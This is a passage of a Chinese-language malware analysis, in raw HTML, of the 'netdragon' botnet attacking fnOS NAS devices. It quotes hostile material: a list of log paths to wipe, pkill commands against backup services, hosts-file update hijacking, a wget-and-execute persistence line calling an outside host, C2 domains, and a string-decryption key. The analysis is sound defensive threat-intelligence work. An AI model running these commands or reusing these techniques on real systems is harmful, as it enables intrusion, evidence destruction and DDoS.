class="rich_pages wxw-img" data-ratio="0.49722222222222223" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 16px;margin: 0px;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-imgfileid="100000706" src="https://wechat2rss.xlab.app/img-proxy/?k=c01d97b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xp6VSpGia3WqbB5fmUiaL0EhYRsVquiaerPmnP84at6W4nVNKwvvl1MFu1UyXt0mkRtoWquJ6NGOwwcqKMZUNdK6EEeN2HlO58wQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: 1.4em;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 1.3rem;margin: 0px;padding: 1.5rem 1.5rem 0px;vertical-align: baseline;color: rgba(0, 0, 0, 0.5);text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">netdragon攻击事件趋势</span></span></figcaption></figure><p style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1.6em;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 2rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 0px;vertical-align: baseline;grid-column: main-start / main-end;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">另外我们还观察到2月1日夜晚僵尸网络作者向所有BOT发出了一条删除文件指令、删除飞牛NAS设备上的一个私钥文件</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">rsa_private_key.pem</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">。我们不确定删除这个文件的目的是什么，但是删除私钥文件这种操作看着就很危险。</span><span leaf=""><br/></span><span leaf=""><img data-aistatus="1" alt="截屏2026-02-05 16.42.01.png" class="rich_pages wxw-img" data-ratio="0.15630885122410546" data-type="png" data-w="1062" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-imgfileid="100000705" src="https://wechat2rss.xlab.app/img-proxy/?k=e348f6bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xZzoiahFuAvjSzyXAGlQiamnkuqFGY7vKzUbQfyfX5PK8AwDcOsDI8nDROerkv6enfujIIE8ynycNSicO2eTI4icqMcrA6mCniaejc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">样本分析</span></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">通过我们跟踪系统长期监测，已捕获到该恶意家族的多个变种样本。综合分析发现，该家族样本整体采用模块化设计，主要由 Loader 组件 和 DDoS 组件 两个核心部分构成。其中，Loader 组件负责在受害设备上完成初始加载、环境探测及后续功能模块的投递，而 DDoS 组件则用于执行具体的攻击指令。最新样本在运行过程中展现出多项与 fnOS 环境高度相关的行为特征，包括对系统结构、服务配置及运行环境的针对性适配，表明该恶意家族最新的样本并非泛化传播，而是对 fnOS 设备具有明确的定向攻击意图。</span></p><figure style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 16px;margin: max(3.2vmin, 24px) 0px 0px;padding: 0px;vertical-align: baseline;grid-column: main-start / main-end;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="netdragon attack incident" class="rich_pages wxw-img" data-ratio="0.6694444444444444" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 16px;margin: 0px;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-imgfileid="100000715" src="https://wechat2rss.xlab.app/img-proxy/?k=d74aece0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yvOAyibXgS582ftH9HibRiaq6vgsmDqY8YIMhYtxZrIJV1m5HNr4ialFUgYWfWF7iaUPtVRkhQXjSAwZkPrA9ZgWn2r5Oiau8iaoeIco%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: 1.4em;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 1.3rem;margin: 0px;padding: 1.5rem 1.5rem 0px;vertical-align: baseline;color: rgba(0, 0, 0, 0.5);text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">XLAB捕获的部分样本下载链接</span></span></figcaption></figure><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">Loader组件</span></span></h2><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">该组件主要完成痕迹清理、持久化、阻断更新/恢复的功能</span></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">隐藏攻击痕迹</span></span></h3><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">清空日志相关文件目录，隐藏攻击痕迹，目录及文件如下：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">/var/log/accountsrv/</span></code><br/><code><span leaf="">/var/log/apps/</span></code><br/><code><span leaf="">/var/log/apt/</span></code><br/><code><span leaf="">/var/log/cloud_storage_dav/</span></code><br/><code><span leaf="">/var/log/openvswitch/</span></code><br/><code><span leaf="">/var/log/postgresql/</span></code><br/><code><span leaf="">/var/log/trim_app_center/</span></code><br/><code><span leaf="">/var/log/trim_license/</span></code><br/><code><span leaf="">/var/log/trim_sac/</span></code><br/><code><span leaf="">/var/log/trim_tfa/</span></code><br/><code><span leaf="">/var/log/trim-connect/</span></code><br/><code><span leaf="">/var/log/trim-sharelink/</span></code><br/><code><span leaf="">/var/log/*.<span class="code-snippet__built_in">log</span></span></code><br/><code><span leaf="">/usr/trim/logs/ai_manager/</span></code><br/><code><span leaf="">/usr/trim/logs/*.<span class="code-snippet__built_in">log</span></span></code><br/><code><span leaf="">/usr/trim/nginx/logs/</span></code><br/><code><span leaf="">/var/log/secure</span></code><br/><code><span leaf="">/var/log/secure.1</span></code><br/><code><span leaf="">/var/log/secure-*</span></code><br/><code><span leaf="">/var/log/secure.*.gz</span></code><br/><code><span leaf="">/var/log/messages</span></code><br/><code><span leaf="">/var/log/messages.1</span></code><br/><code><span leaf="">/var/log/messages-*</span></code><br/><code><span leaf="">/var/log/messages.*.gz</span></code><br/><code><span leaf="">/run/log/journal/</span></code><br/><code><span leaf="">/var/log/journal/</span></code><br/><code><span leaf="">/var/log/wtmp</span></code><br/><code><span leaf="">/var/log/btmp</span></code><br/><code><span leaf="">/var/log/lastlog</span></code><br/><code><span leaf="">/var/log/audit/audit.log</span></code><br/><code><span leaf="">/var/log/audit/audit.log.*</span></code><br/></pre></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">http后门</span></span></h3><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">监听本地端口57132，实现http后门，可执行任意指令</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf=""><span class="code-snippet__section">method: GET</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">path: /api</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">arg: log</span></span></code><br/></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">后门通过解密参数hex字符串得到要执行的指令，若执行成功会返回&#34;OK&#34;</span></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">阻止更新与恢复</span></span></h3><ol class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">通过修改hosts劫持飞牛os更新域名到0.0.0.0</span></p></li></ol><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf="">apiv2<span class="code-snippet__operator">-</span>liveupdate.fnnas.com</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">update</span><span class="code-snippet__operator">-</span>service.test.teiron<span class="code-snippet__operator">-</span>inc.cn</span></code><br/></pre></p><ol class="list-paddingleft-1" start="2"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">关闭用于系统恢复的服务</span></p></li></ol><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="powershell"><code><span leaf="">pkill <span class="code-snippet__operator">-f</span> sysrestore_service</span></code><br/><code><span leaf="">pkill <span class="code-snippet__operator">-f</span> backup_service</span></code><br/></pre></p><ol class="list-paddingleft-1" start="3"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">删除更新/恢复相关文件</span></p></li></ol><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">/tmp/trim-update</span></code><br/><code><span leaf="">/tmp/appcenter</span></code><br/><code><span leaf="">chattr</span></code><br/><code><span leaf="">liveupdate</span></code><br/><code><span leaf="">backup_local</span></code><br/><code><span leaf="">backup_remote</span></code><br/><code><span leaf="">backup_cloud</span></code><br/><code><span leaf="">backup_service</span></code><br/><code><span leaf="">findmnt</span></code><br/></pre></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">持久化</span></span></h3><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">下载下一阶段组件并持久化</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">在system_startup.sh后追加</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">wget <a href="http://151.240.*.*/turmp" target="_blank">http://151.240.*.*/turmp</a> -O /tmp/turmp ; <span class="code-snippet__built_in">chmod</span> 777 /tmp/turmp ; /tmp/turmp</span></code></pre></p><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">DDoS组件</span></span></h2><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">该组件主要用于DDoS，同时支持任意指令执行和持久化</span></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">字符串解密</span></h3><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">使用chacha20解密字符串表</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-aistatus="1" alt="str_decode.png" class="rich_pages wxw-img" data-ratio="0.8246913580246914" data-type="png" data-w="810" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-imgfileid="100000710" src="https://wechat2rss.xlab.app/img-proxy/?k=c76717e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8zyCyK8SFAe4ibXk4qOpARJqWDyYka3UomhqBg5iczQic4HayaMlbyr2XOofickBmqI9icDkhaXMt4LuT7JHibbwWnZMZSwf0f5mcN3o%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">key和nonce硬编码在样本中</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf=""><span class="code-snippet__section">KEY_HEX:</span></span></code><br/><code><span leaf="">161E194B111F001D041C0E080B1A110705080D0F060A15010C141F1702031318</span></code><br/><code><span leaf=""><span class="code-snippet__section">NONCE_HEX:</span></span></code><br/><code><span leaf="">1E002A0000036E0000070106</span></code><br/></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">解密出的字符串表如下：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">PWNED FROM NETDRAG</span></code><br/><code><span leaf="">sshd</span></code><br/><code><span leaf="">/ngday</span></code><br/><code><span leaf="">x86</span></code><br/><code><span leaf="">/dev</span></code><br/><code><span leaf="">/tmp</span></code><br/><code><span leaf="">aura.kabot.icu</span></code><br/><code><span leaf="">xd.bmlkda.icu</span></code><br/><code><span leaf="">/etc/hosts</span></code><br/><code><span leaf="">/etc/machine-id</span></code><br/><code><span leaf="">/proc/sys/kernel/random/boot_id</span></code><br/></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">针对几个重点字符串的说明：</span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">成功运行后会输出</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">PWNED FROM NETDRAG</span></code></p></li><li><p><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">修改进程名为sshd</span></code></p></li><li><p><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">在本地监听端口(不固定，根据本地地址生成)，当读取到/ngday</span></code></p></li></ul><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">时退出，确保单一实例运行</span></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">隐藏自身</span></span></h3><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">成功运行后会删除自身文件</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">通过挂载操作，隐藏或隔离当前和子进程在</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">/proc</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, 